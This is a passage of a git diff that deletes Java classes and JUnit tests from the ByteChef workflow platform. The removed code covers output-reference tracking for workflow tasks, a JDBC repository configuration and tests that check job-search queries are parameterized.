-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.atlas.configuration.util.WorkflowTaskReferenceUtils;
-import com.bytechef.atlas.coordinator.task.dispatcher.TaskDispatcherPreSendProcessor;
-import com.bytechef.atlas.execution.domain.Job;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.execution.service.JobService;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Set;
-import org.apache.commons.lang3.Validate;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.core.annotation.Order;
-import org.springframework.stereotype.Component;
-
-/**
- * Analyzes workflow definitions to determine which output property paths of the current task are referenced by
- * downstream tasks, and attaches those paths as metadata on the task execution.
- *
- * @author Ivica Cardic
- */
-@Component
-@Order(3)
-class OutputReferenceTaskDispatcherPreSendProcessor implements TaskDispatcherPreSendProcessor {
-
-    private static final Logger logger = LoggerFactory.getLogger(OutputReferenceTaskDispatcherPreSendProcessor.class);
-
-    private final JobService jobService;
-    private final WorkflowService workflowService;
-
-    @SuppressFBWarnings("EI")
-    OutputReferenceTaskDispatcherPreSendProcessor(JobService jobService, WorkflowService workflowService) {
-        this.jobService = jobService;
-        this.workflowService = workflowService;
-    }
-
-    @Override
-    public TaskExecution process(TaskExecution taskExecution) {
-        Job job = jobService.getJob(Validate.notNull(taskExecution.getJobId(), "jobId"));
-
-        Workflow workflow = workflowService.getWorkflow(job.getWorkflowId());
-
-        Set<String> referencedOutputPaths = WorkflowTaskReferenceUtils.extractReferencedOutputPaths(
-            workflow.getTasks(true), taskExecution.getName());
-
-        if (!referencedOutputPaths.isEmpty()) {
-            taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, referencedOutputPaths);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug(
-                    "Task name='{}', type='{}' has {} referenced output paths: {}",
-                    taskExecution.getName(), taskExecution.getType(), referencedOutputPaths.size(),
-                    referencedOutputPaths);
-            }
-        }
-
-        return taskExecution;
-    }
-
-    @Override
-    public boolean canProcess(TaskExecution taskExecution) {
-        return taskExecution.getName() != null;
-    }
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessorTest.java b/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessorTest.java
deleted file mode 100644
index 11c764b714b..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/message/OutputFilteringMessageEventPostReceiveProcessorTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.coordinator.message;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import com.bytechef.atlas.configuration.constant.WorkflowConstants;
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import com.bytechef.atlas.coordinator.event.TaskExecutionCompleteEvent;
-import com.bytechef.atlas.coordinator.event.TaskExecutionErrorEvent;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.message.event.MessageEvent;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import java.util.Map;
-import java.util.Set;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(ObjectMapperSetupExtension.class)
-class OutputFilteringMessageEventPostReceiveProcessorTest {
-
-    private OutputFilteringMessageEventPostReceiveProcessor processor;
-
-    @BeforeEach
-    void beforeEach() {
-        processor = new OutputFilteringMessageEventPostReceiveProcessor();
-    }
-
-    @Test
-    void testProcessPassesThroughTaskExecutionCompleteEvent() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("response.lastname"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-    }
-
-    @Test
-    void testProcessPassesThroughNonCompleteEvent() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        TaskExecutionErrorEvent event = new TaskExecutionErrorEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-    }
-
-    @Test
-    void testProcessPassesThroughWithoutReferencePaths() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-    }
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessorTest.java b/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessorTest.java
deleted file mode 100644
index 5eeafd04179..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-coordinator/platform-workflow-coordinator-impl/src/test/java/com/bytechef/platform/workflow/coordinator/task/dispatcher/OutputReferenceTaskDispatcherPreSendProcessorTest.java
+++ /dev/null
@@ -1,495 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.coordinator.task.dispatcher;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.atlas.configuration.constant.WorkflowConstants;
-import com.bytechef.atlas.configuration.domain.Workflow;
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.atlas.execution.domain.Job;
-import com.bytechef.atlas.execution.domain.TaskExecution;
-import com.bytechef.atlas.execution.service.JobService;
-import com.bytechef.commons.util.RandomUtils;
-import com.bytechef.platform.component.constant.MetadataConstants;
-import com.bytechef.test.extension.ObjectMapperSetupExtension;
-import java.util.Collection;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(ObjectMapperSetupExtension.class)
-class OutputReferenceTaskDispatcherPreSendProcessorTest {
-
-    private JobService jobService;
-    private OutputReferenceTaskDispatcherPreSendProcessor processor;
-    private WorkflowService workflowService;
-
-    @BeforeEach
-    void beforeEach() {
-        jobService = mock(JobService.class);
-        workflowService = mock(WorkflowService.class);
-
-        processor = new OutputReferenceTaskDispatcherPreSendProcessor(jobService, workflowService);
-    }
-
-    @Test
-    void testCanProcessWithNamedTask() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        assertThat(processor.canProcess(taskExecution)).isTrue();
-    }
-
-    @Test
-    void testProcessAttachesReferencePaths() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "phone": "${accelo_1.response.lastname}",
-                            "email": "${accelo_1.meta.more_info}"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder("response.lastname", "meta.more_info");
-    }
-
-    @Test
-    void testProcessWithNoDownstreamReferences() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "phone": "staticValue"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        assertThat(metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS)).isNull();
-    }
-
-    @Test
-    void testProcessWithArrayParameters() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "tags": ["${accelo_1.tags.primary}", "${accelo_1.tags.secondary}"],
-                            "phone": "staticValue"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder("tags.primary", "tags.secondary");
-    }
-
-    @Test
-    void testProcessWithBareTaskReference() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "input": "${accelo_1}"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        assertThat(metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS)).isNull();
-    }
-
-    @Test
-    void testProcessWithNestedMapParameters() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "contact": {
-                                "name": "${accelo_1.response.fullname}",
-                                "address": {
-                                    "city": "${accelo_1.address.city}"
-                                }
-                            }
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder("response.fullname", "address.city");
-    }
-
-    @Test
-    void testProcessWithMultipleReferencesInSingleString() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "fullName": "${accelo_1.response.firstname} ${accelo_1.response.lastname}"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder("response.firstname", "response.lastname");
-    }
-
-    @Test
-    void testProcessWithSingleLevelPropertyPath() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "name": "${accelo_1.name}",
-                            "status": "${accelo_1.status}"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder("name", "status");
-    }
-
-    @Test
-    void testProcessWithMixedArrayAndMapParameters() {
-        TaskExecution taskExecution = TaskExecution.builder()
-            .jobId(RandomUtils.nextLong())
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        String workflowDefinition = """
-            {
-                "label": "test",
-                "tasks": [
-                    {
-                        "name": "accelo_1",
-                        "type": "accelo/v1/createContact",
-                        "parameters": {}
-                    },
-                    {
-                        "name": "activeCampaign_1",
-                        "type": "activeCampaign/v1/createContact",
-                        "parameters": {
-                            "contacts": [
-                                {
-                                    "name": "${accelo_1.response.fullname}",
-                                    "email": "${accelo_1.contact.email}"
-                                }
-                            ],
-                            "phone": "${accelo_1.phone}"
-                        }
-                    }
-                ]
-            }
-            """;
-
-        Workflow workflow = new Workflow("testWorkflow", workflowDefinition, Workflow.Format.JSON);
-
-        Job job = new Job();
-
-        job.setWorkflowId("testWorkflow");
-
-        when(jobService.getJob(anyLong())).thenReturn(job);
-        when(workflowService.getWorkflow(anyString())).thenReturn(workflow);
-
-        TaskExecution result = processor.process(taskExecution);
-
-        Map<String, ?> metadata = result.getMetadata();
-
-        Object referencePaths = metadata.get(MetadataConstants.OUTPUT_REFERENCE_PATHS);
-
-        assertThat(referencePaths).isInstanceOf(Collection.class);
-
-        @SuppressWarnings("unchecked")
-        Collection<String> referencePathCollection = (Collection<String>) referencePaths;
-
-        assertThat(referencePathCollection).containsExactlyInAnyOrder(
-            "response.fullname", "contact.email", "phone");
-    }
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/java/com/bytechef/platform/workflow/execution/config/PlatformWorkflowExecutionJdbcRepositoryConfiguration.java b/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/java/com/bytechef/platform/workflow/execution/config/PlatformWorkflowExecutionJdbcRepositoryConfiguration.java
deleted file mode 100644
index 5bbd8344d5b..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/java/com/bytechef/platform/workflow/execution/config/PlatformWorkflowExecutionJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.execution.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.workflow.execution.repository")
-class PlatformWorkflowExecutionJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 78e288bfd4c..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.workflow.execution.config.PlatformWorkflowExecutionJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/test/java/com/bytechef/platform/workflow/execution/repository/CustomPrincipalJobRepositoryImplTest.java b/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/test/java/com/bytechef/platform/workflow/execution/repository/CustomPrincipalJobRepositoryImplTest.java
deleted file mode 100644
index 4c6a21f5b6a..00000000000
--- a/server/libs/platform/platform-workflow/platform-workflow-execution/platform-workflow-execution-service/src/test/java/com/bytechef/platform/workflow/execution/repository/CustomPrincipalJobRepositoryImplTest.java
+++ /dev/null
@@ -1,227 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.workflow.execution.repository;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.List;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.ArgumentCaptor;
-import org.mockito.Captor;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-import org.springframework.data.domain.Page;
-import org.springframework.data.domain.PageRequest;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.jdbc.core.RowMapper;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(MockitoExtension.class)
-@SuppressFBWarnings(
-    value = "SQL_INJECTION_SPRING_JDBC",
-    justification = "Test class exercising parameterized query implementation; no actual SQL injection risk")
-class CustomPrincipalJobRepositoryImplTest {
-
-    @Mock
-    private JdbcTemplate jdbcTemplate;
-
-    @Captor
-    private ArgumentCaptor<String> queryCaptor;
-
-    @Captor
-    private ArgumentCaptor<Object[]> argsCaptor;
-
-    private CustomPrincipalJobRepositoryImpl customPrincipalJobRepository;
-
-    @BeforeEach
-    void beforeEach() {
-        customPrincipalJobRepository = new CustomPrincipalJobRepositoryImpl(jdbcTemplate);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsPaginationParameterized() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(10L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class)))
-            .thenReturn(List.of(1L, 2L, 3L));
-
-        Page<Long> page = customPrincipalJobRepository.findAllJobIds(
-            null, null, null, null, 1, List.of(), PageRequest.of(0, 3));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-        Object[] args = argsCaptor.getValue();
-
-        assertThat(query).contains("LIMIT ? OFFSET ?");
-        assertThat(query).doesNotContain("LIMIT 3");
-        assertThat(query).doesNotContain("OFFSET 0");
-
-        assertThat(args[args.length - 2]).isEqualTo(3);
-        assertThat(args[args.length - 1]).isEqualTo(0L);
-
-        assertThat(page.getContent()).hasSize(3);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsSecondPageOffset() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(10L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class)))
-            .thenReturn(List.of(4L, 5L, 6L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            null, null, null, null, 1, List.of(), PageRequest.of(1, 3));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        Object[] args = argsCaptor.getValue();
-
-        assertThat(args[args.length - 2]).isEqualTo(3);
-        assertThat(args[args.length - 1]).isEqualTo(3L);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsWithStatusFilter() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(5L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class))).thenReturn(List.of(1L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            2, null, null, null, 1, List.of(), PageRequest.of(0, 10));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-        Object[] args = argsCaptor.getValue();
-
-        assertThat(query).contains("AND status = ?");
-        assertThat(args).contains(1, 2);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsWithDateFilters() {
-        Instant now = Instant.now();
-
-        Instant startDate = now.minusSeconds(3600);
-
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(5L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class))).thenReturn(List.of(1L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            null, startDate, now, null, 1, List.of(), PageRequest.of(0, 10));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-
-        assertThat(query).contains("AND start_date >= ?");
-        assertThat(query).contains("AND end_date <= ?");
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testFindAllJobIdsWithInstanceIds() {
-        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class), any(Object[].class))).thenReturn(5L);
-        when(jdbcTemplate.query(anyString(), any(RowMapper.class), any(Object[].class))).thenReturn(List.of(1L));
-
-        customPrincipalJobRepository.findAllJobIds(
-            null, null, null, List.of(1L, 2L, 3L), 1, List.of(), PageRequest.of(0, 10));
-
-        verify(jdbcTemplate).query(queryCaptor.capture(), any(RowMapper.class), argsCaptor.capture());
-
-        String query = queryCaptor.getValue();
-        Object[] args = argsCaptor.getValue();
-
